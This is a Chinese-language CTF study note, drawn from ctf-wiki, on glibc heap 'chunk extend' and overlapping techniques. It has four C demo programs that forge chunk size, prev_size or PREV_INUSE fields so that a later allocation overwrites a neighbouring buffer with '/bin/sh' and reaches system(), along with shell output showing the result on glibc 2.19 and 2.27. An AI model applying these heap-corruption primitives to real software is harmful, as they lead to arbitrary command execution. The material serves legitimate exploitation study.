Chunk Extend 漏洞举例

资料来源:ctf-wiki。这里仅是小记一下。

前言

在了解下面这些漏洞前,我们需要先回顾一下malloc_chunk的数据结构:

/*
  This struct declaration is misleading (but accurate and necessary).
  It declares a "view" into memory allowing access to necessary
  fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

每个字段的具体的解释如下

  • prev_size, 如果该 chunk 的物理相邻的前一地址 chunk(两个指针的地址差值为前一 chunk 大小)是空闲的话,那该字段记录的是前一个 chunk 的大小 (包括 chunk 头)。否则,该字段可以用来存储物理相邻的前一个 chunk 的数据。这里的前一 chunk 指的是较低地址的 chunk
  • size ,该 chunk 的大小,大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。 该字段的低三个比特位对 chunk 的大小没有影响,它们从高到低分别表示
    • NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1 表示不属于,0 表示属于。
    • IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。
    • PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并。
  • fd,bk。 chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下
    • fd 指向下一个(非物理相邻)空闲的 chunk
    • bk 指向上一个(非物理相邻)空闲的 chunk
    • 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理
  • fd_nextsize, bk_nextsize,也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunk(large chunk)。
    • fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
    • bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
    • 一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。

一个已经分配的 chunk 的样子如下。我们称前两个字段称为 chunk header,后面的部分称为 user data。每次 malloc 申请得到的内存指针,其实指向 user data 的起始处。

当一个 chunk 处于使用状态时,它的下一个 chunk 的 prev_size 域无效,所以下一个 chunk 的该部分也可以被当前 chunk 使用。这就是 chunk 中的空间复用。

来源:ctf-wiki

fastbin的malloc_chunk->size 可控

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char *payload = "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "/bin/sh";

int main()
{
    char *ptr, *ptr1;
    char *sh;

    ptr = malloc(0x10); //分配第一个0x10的chunk
    sh = malloc(0x10);  //分配第二个0x10的chunk
    strncpy(sh, "id", 0x10 - 1);

    // 这里是无法溢出的
    strncpy(ptr, payload, 0x10 - 1);

    *(long long *)((long long)ptr - 0x8) = 0x41; // 修改第一个块的size域

    free(ptr);

    // 即使指针置NULL也对该漏洞没有影响
    ptr = NULL;

    ptr1 = malloc(0x30); // 实现 extend,控制了第二个块的内容

    // 这里可以溢出
    strncpy(ptr1, payload, 0x30 - 1);

    system(sh);
    return 0;
}

从上面可以看出这个漏洞不需要依赖UAF就可以完成,这个漏洞无论是fastbin还是tcache都会发生。

smallbin的malloc_chunk->size 可控

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char *payload = "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "/bin/sh";

int main()
{
    char *ptr, *ptr1;
    char *sh;

    ptr = malloc(0x80); //分配第一个 0x80 的chunk1
    sh = malloc(0x10);  //分配第二个 0x10 的chunk2
    malloc(0x10);       //防止与top chunk合并

    strncpy(sh, "id", 0x10 - 1);
    // 这里是无法溢出的
    strncpy(ptr, payload, 0x80 - 1);

    *(int *)(ptr - 0x8) = 0xb1;
    free(ptr);
    // 即使指针置NULL也对该漏洞没有影响
    ptr = NULL;

    ptr1 = malloc(0x80 + 0x20);

    // 这里可以溢出
    strncpy(ptr1, payload, 0x80 + 0x20 - 1);

    system(sh);
    return 0;
}

从上面可以看出这个漏洞不需要依赖UAF就可以完成,这个漏洞同样无论是smallbin还是tcache都会发生。

对 free 的 smallbin 进行 extend

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char *payload = "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "/bin/sh";

int main()
{
    char *ptr, *ptr1;
    char *sh;

    ptr = malloc(0x80); //分配第一个0x80的chunk1
    sh = malloc(0x10);       //分配第二个0x10的chunk2

    strncpy(sh, "id", 0x10 - 1);

    // 这里是无法溢出的
    strncpy(ptr, payload, 0x80 - 1);

    free(ptr); //首先进行释放,使得chunk1进入unsorted bin

    *(int *)(ptr - 0x8) = 0xb1;
    ptr1 = malloc(0xa0);

    // 这里可以溢出
    strncpy(ptr1, payload, 0x80 + 0x20 - 1);

    system(sh);

    return 0;
}

具体结果如下:

ex@ubuntu:~/test$ make 19
gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.19/_debug/lib/ld-linux-x86-64.so.2 -g main.c
ex@ubuntu:~/test$ ./a.out 
$ echo hello world
hello world
$ exit
ex@ubuntu:~/test$ make 27
gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.27/_debug/lib/ld-linux-x86-64.so.2 -g main.c
ex@ubuntu:~/test$ ./a.out 
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

glibc-2.26及以上不行的主要原因是tcache的索引机制,具体原理可以自行debug,只有没有tcache,这个漏洞还是可用的。

通过 extend 前向 overlapping

前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char *payload = "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaa"
                "/bin/sh";

int main()
{
    char *ptr1, *ptr2_sh, *ptr3, *ptr4, *ptr5;
    ptr1 = malloc(0x80);    //smallbin1
    ptr2_sh = malloc(0x10); //fastbin1
    ptr3 = malloc(0x10);    //fastbin2
    ptr4 = malloc(0x80);    //smallbin2
    malloc(0x10);           //防止与top合并

    strncpy(ptr2_sh, "id", 0x10 - 1);

    free(ptr1);
    *(int *)(ptr4 - 0x8) -= 0x1; //0x90;  //修改pre_inuse域
    // 0x90 + 0x20 + 0x20 = 0xd0
    *(int *)(ptr4 - 0x10) = 0xd0; //修改pre_size域
    free(ptr4);                   //unlink进行前向extend

    // 可以不依赖 UAF
    ptr4 = NULL;

    ptr5 = malloc(0x150); //占位块

    strncpy(ptr5, payload, 0x150 - 1);

    system(ptr2_sh);
    return 0;
}

效果如下:

ex@ubuntu:~/test$ make 19
gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.19/_debug/lib/ld-linux-x86-64.so.2 -g main.c
ex@ubuntu:~/test$ ./a.out 
$ exit
ex@ubuntu:~/test$ make 27
gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.27/_debug/lib/ld-linux-x86-64.so.2 -g main.c
ex@ubuntu:~/test$ ./a.out 
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

这里我简述一下unlink:

其目的是把一个双向链表中的空闲块拿出来(例如 free 时和目前物理相邻的 free chunk 进行合并)。

当我们 free(small_chunk) 时

  • glibc 判断这个块是 small chunk
  • 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并
  • 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并
  • 继而对 Nextchunk 采取 unlink 操作

glibc-2.26及以上这个漏洞不能实现的原因还是因为tcache机制,因为tcache为了速度考虑,所以不进行unlink操作。

总结

实践出真知。